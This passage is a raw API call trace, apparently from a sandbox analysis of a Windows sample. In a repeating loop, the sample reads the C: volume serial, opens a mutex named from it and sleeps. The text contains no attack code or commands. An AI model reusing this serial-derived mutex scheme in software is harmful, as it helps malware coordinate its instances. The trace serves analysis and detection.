Flags=0x0, Size=0x20) returned 0x18c288 [0072.579] GetProcessHeap () returned 0x170000 [0072.579] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c0a8 [0072.579] GetProcessHeap () returned 0x170000 [0072.579] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c120 [0072.579] GetProcessHeap () returned 0x170000 [0072.579] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0072.579] GetProcessHeap () returned 0x170000 [0072.579] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0072.579] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c0a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0072.579] GetProcessHeap () returned 0x170000 [0072.579] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c120 | out: hHeap=0x170000) returned 1 [0072.579] GetProcessHeap () returned 0x170000 [0072.579] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0072.579] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0072.580] GetProcessHeap () returned 0x170000 [0072.580] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0072.580] GetProcessHeap () returned 0x170000 [0072.580] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x17dff0 [0072.580] GetProcessHeap () returned 0x170000 [0072.580] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x17dae0 [0072.580] GetProcessHeap () returned 0x170000 [0072.580] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x17dae0, Size=0x72) returned 0x1a4a68 [0072.580] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x284 [0072.580] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x0) returned 0x102 [0072.580] CloseHandle (hObject=0x284) returned 1 [0072.580] GetProcessHeap () returned 0x170000 [0072.580] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17dff0 | out: hHeap=0x170000) returned 1 [0072.580] GetProcessHeap () returned 0x170000 [0072.580] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4a68 | out: hHeap=0x170000) returned 1 [0072.580] Sleep (dwMilliseconds=0x3e8) [0073.801] GetProcessHeap () returned 0x170000 [0073.801] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c0a8 [0073.801] GetProcessHeap () returned 0x170000 [0073.801] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18bf90 [0073.801] GetProcessHeap () returned 0x170000 [0073.801] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c288 [0073.801] GetProcessHeap () returned 0x170000 [0073.801] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0073.801] GetProcessHeap () returned 0x170000 [0073.802] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0073.802] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18bf90, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0073.802] GetProcessHeap () returned 0x170000 [0073.802] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0073.802] GetProcessHeap () returned 0x170000 [0073.802] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0073.802] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.802] GetProcessHeap () returned 0x170000 [0073.802] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bf90 | out: hHeap=0x170000) returned 1 [0073.802] GetProcessHeap () returned 0x170000 [0073.802] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x1a03d8 [0073.802] GetProcessHeap () returned 0x170000 [0073.802] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x1a0390 [0073.802] GetProcessHeap () returned 0x170000 [0073.802] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1a0390, Size=0x72) returned 0x1a4968 [0073.802] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0073.803] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0073.803] CloseHandle (hObject=0x2d4) returned 1 [0073.803] GetProcessHeap () returned 0x170000 [0073.803] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a03d8 | out: hHeap=0x170000) returned 1 [0073.803] GetProcessHeap () returned 0x170000 [0073.803] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4968 | out: hHeap=0x170000) returned 1 [0073.803] Sleep (dwMilliseconds=0x3e8) [0075.131] GetProcessHeap () returned 0x170000 [0075.131] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c288 [0075.131] GetProcessHeap () returned 0x170000 [0075.131] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c2d8 [0075.131] GetProcessHeap () returned 0x170000 [0075.131] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18bf90 [0075.131] GetProcessHeap () returned 0x170000 [0075.131] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0075.131] GetProcessHeap () returned 0x170000 [0075.131] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0075.131] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c2d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0075.131] GetProcessHeap () returned 0x170000 [0075.131] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bf90 | out: hHeap=0x170000) returned 1 [0075.131] GetProcessHeap () returned 0x170000 [0075.132] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0075.132] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0075.170] GetProcessHeap () returned 0x170000 [0075.170] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0075.170] GetProcessHeap () returned 0x170000 [0075.170] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x1a0078 [0075.170] GetProcessHeap () returned 0x170000 [0075.170] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x1a0150 [0075.170] GetProcessHeap () returned 0x170000 [0075.170] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1a0150, Size=0x72) returned 0x1a42e8 [0075.170] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0075.170] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0075.170] CloseHandle (hObject=0x2d4) returned 1 [0075.170] GetProcessHeap () returned 0x170000 [0075.170] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a0078 | out: hHeap=0x170000) returned 1 [0075.170] GetProcessHeap () returned 0x170000 [0075.170] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a42e8 | out: hHeap=0x170000) returned 1 [0075.170] Sleep (dwMilliseconds=0x3e8) [0077.353] GetProcessHeap () returned 0x170000 [0077.353] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c0a8 [0077.353] GetProcessHeap () returned 0x170000 [0077.353] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c2d8 [0077.353] GetProcessHeap () returned 0x170000 [0077.353] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18bf90 [0077.353] GetProcessHeap () returned 0x170000 [0077.354] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0077.354] GetProcessHeap () returned 0x170000 [0077.354] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0077.354] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c2d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0077.354] GetProcessHeap () returned 0x170000 [0077.354] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bf90 | out: hHeap=0x170000) returned 1 [0077.354] GetProcessHeap () returned 0x170000 [0077.354] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0077.354] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0077.355] GetProcessHeap () returned 0x170000 [0077.355] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0077.355] GetProcessHeap () returned 0x170000 [0077.355] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x19f850 [0077.355] GetProcessHeap () returned 0x170000 [0077.355] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x19fa90 [0077.355] GetProcessHeap () returned 0x170000 [0077.355] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x19fa90, Size=0x72) returned 0x1a4268 [0077.355] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0077.356] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0077.356] CloseHandle (hObject=0x2d4) returned 1 [0077.356] GetProcessHeap () returned 0x170000 [0077.356] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19f850 | out: hHeap=0x170000) returned 1 [0077.356] GetProcessHeap () returned 0x170000 [0077.356] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4268 | out: hHeap=0x170000) returned 1 [0077.356] Sleep (dwMilliseconds=0x3e8) [0078.859] GetProcessHeap () returned 0x170000 [0078.859] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c288 [0078.859] GetProcessHeap () returned 0x170000 [0078.859] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c0a8 [0078.859] GetProcessHeap () returned 0x170000 [0078.859] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c2d8 [0078.859] GetProcessHeap () returned 0x170000 [0078.859] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0078.859] GetProcessHeap () returned 0x170000 [0078.859] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0078.859] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c0a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0078.859] GetProcessHeap () returned 0x170000 [0078.859] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0078.859] GetProcessHeap () returned 0x170000 [0078.859] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0078.859] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0078.860] GetProcessHeap () returned 0x170000 [0078.860] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0078.860] GetProcessHeap () returned 0x170000 [0078.860] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x19f7c0 [0078.860] GetProcessHeap () returned 0x170000 [0078.860] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x19fad8 [0078.860] GetProcessHeap () returned 0x170000 [0078.860] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x19fad8, Size=0x72) returned 0x1a4468 [0078.860] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0078.860] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0078.860] CloseHandle (hObject=0x2d4) returned 1 [0078.860] GetProcessHeap () returned 0x170000 [0078.860] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19f7c0 | out: hHeap=0x170000) returned 1 [0078.860] GetProcessHeap () returned 0x170000 [0078.860] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4468 | out: hHeap=0x170000) returned 1 [0078.860] Sleep (dwMilliseconds=0x3e8) [0082.480] GetProcessHeap () returned 0x170000 [0082.480] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c0a8 [0082.480] GetProcessHeap () returned 0x170000 [0082.480] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c288 [0082.480] GetProcessHeap () returned 0x170000 [0082.480] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c2d8 [0082.480] GetProcessHeap () returned 0x170000 [0082.480] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0082.480] GetProcessHeap () returned 0x170000 [0082.480] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0082.480] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c288, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0082.480] GetProcessHeap () returned 0x170000 [0082.480] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0082.481] GetProcessHeap () returned 0x170000 [0082.481] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0082.481] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0082.481] GetProcessHeap () returned 0x170000 [0082.482] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0082.482] GetProcessHeap () returned 0x170000 [0082.482] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x19fc88 [0082.482] GetProcessHeap () returned 0x170000 [0082.482] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x19f6e8 [0082.482] GetProcessHeap () returned 0x170000 [0082.482] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x19f6e8, Size=0x72) returned 0x1a3de8 [0082.482] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0082.482] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0082.482] CloseHandle (hObject=0x2d4) returned 1 [0082.482] GetProcessHeap () returned 0x170000 [0082.482] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19fc88 | out: hHeap=0x170000) returned 1 [0082.482] GetProcessHeap () returned 0x170000 [0082.482] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a3de8 | out: hHeap=0x170000) returned 1 [0082.482] Sleep (dwMilliseconds=0x3e8) [0085.434] GetProcessHeap () returned 0x170000 [0085.434] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c2d8 [0085.434] GetProcessHeap () returned 0x170000 [0085.434] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c288 [0085.434] GetProcessHeap () returned 0x170000 [0085.434] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c0a8 [0085.434] GetProcessHeap () returned 0x170000 [0085.434] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0085.434] GetProcessHeap () returned 0x170000 [0085.434] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0085.434] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c288, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0085.435] GetProcessHeap () returned 0x170000 [0085.435] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0085.435] GetProcessHeap () returned 0x170000 [0085.435] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0085.435] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0085.436] GetProcessHeap () returned 0x170000 [0085.436] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0085.436] GetProcessHeap () returned 0x170000 [0085.436] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x19fb68 [0085.436] GetProcessHeap () returned 0x170000 [0085.436] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x19f850 [0085.436] GetProcessHeap () returned 0x170000 [0085.436] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x19f850, Size=0x72) returned 0x1a3de8 [0085.436] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0085.437] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0085.437] CloseHandle (hObject=0x2d4) returned 1 [0085.437] GetProcessHeap () returned 0x170000 [0085.437] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19fb68 | out: hHeap=0x170000) returned 1 [0085.437] GetProcessHeap () returned 0x170000 [0085.437] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a3de8 | out: hHeap=0x170000) returned 1 [0085.437] Sleep (dwMilliseconds=0x3e8) [0086.963] GetProcessHeap () returned 0x170000 [0086.963] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c0a8 [0086.963] GetProcessHeap () returned 0x170000 [0086.963] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c288 [0086.963] GetProcessHeap () returned 0x170000 [0086.963] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c2d8 [0086.963] GetProcessHeap () returned 0x170000 [0086.963] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0086.963] GetProcessHeap () returned 0x170000 [0086.963] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0086.963] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c288, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0086.963] GetProcessHeap () returned 0x170000 [0086.963] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0086.963] GetProcessHeap () returned 0x170000 [0086.963] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0086.963] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0086.964] GetProcessHeap () returned 0x170000 [0086.964] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0086.964] GetProcessHeap () returned 0x170000 [0086.964] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x19fa48 [0086.964] GetProcessHeap () returned 0x170000 [0086.964] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x19f808 [0086.964] GetProcessHeap () returned 0x170000 [0086.964] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x19f808, Size=0x72) returned 0x1a4468 [0086.964] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0086.964] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0086.964] CloseHandle (hObject=0x2d4) returned 1 [0086.964] GetProcessHeap () returned 0x170000 [0086.964] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19fa48 | out: hHeap=0x170000) returned 1 [0086.964] GetProcessHeap () returned 0x170000 [0086.964] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4468 | out: hHeap=0x170000) returned 1 [0086.964] Sleep (dwMilliseconds=0x3e8) [0088.292] GetProcessHeap () returned 0x170000 [0088.292] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c2d8 [0088.292] GetProcessHeap () returned 0x170000 [0088.292] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c288 [0088.292] GetProcessHeap () returned 0x170000 [0088.292] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c0a8 [0088.292] GetProcessHeap () returned 0x170000 [0088.292] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0088.292] GetProcessHeap () returned 0x170000 [0088.292] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0088.292] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c288, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0088.292] GetProcessHeap () returned 0x170000 [0088.292] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0088.292] GetProcessHeap () returned 0x170000 [0088.292] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0088.292] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0088.292] GetProcessHeap () returned 0x170000 [0088.292] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0088.292] GetProcessHeap () returned 0x170000 [0088.292] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x1a0228 [0088.292] GetProcessHeap () returned 0x170000 [0088.292] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x1a0270 [0088.292] GetProcessHeap () returned 0x170000 [0088.292] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1a0270, Size=0x72) returned 0x1a4468 [0088.292] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0088.293] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0088.293] CloseHandle (hObject=0x2d4) returned 1 [0088.293] GetProcessHeap () returned 0x170000 [0088.293] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a0228 | out: hHeap=0x170000) returned 1 [0088.293] GetProcessHeap () returned 0x170000 [0088.293] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4468 | out: hHeap=0x170000) returned 1 [0088.293] Sleep (dwMilliseconds=0x3e8) [0089.838] GetProcessHeap () returned 0x170000 [0089.838] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c288 [0089.838] GetProcessHeap () returned 0x170000 [0089.838] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18bf90 [0089.838] GetProcessHeap () returned 0x170000 [0089.838] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c0a8 [0089.839] GetProcessHeap () returned 0x170000 [0089.839] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0089.839] GetProcessHeap () returned 0x170000 [0089.839] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0089.839] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18bf90, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0089.839] GetProcessHeap () returned 0x170000 [0089.839] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0089.839] GetProcessHeap () returned 0x170000 [0089.839] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0089.839] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0089.840] GetProcessHeap () returned 0x170000 [0089.840] HeapFree 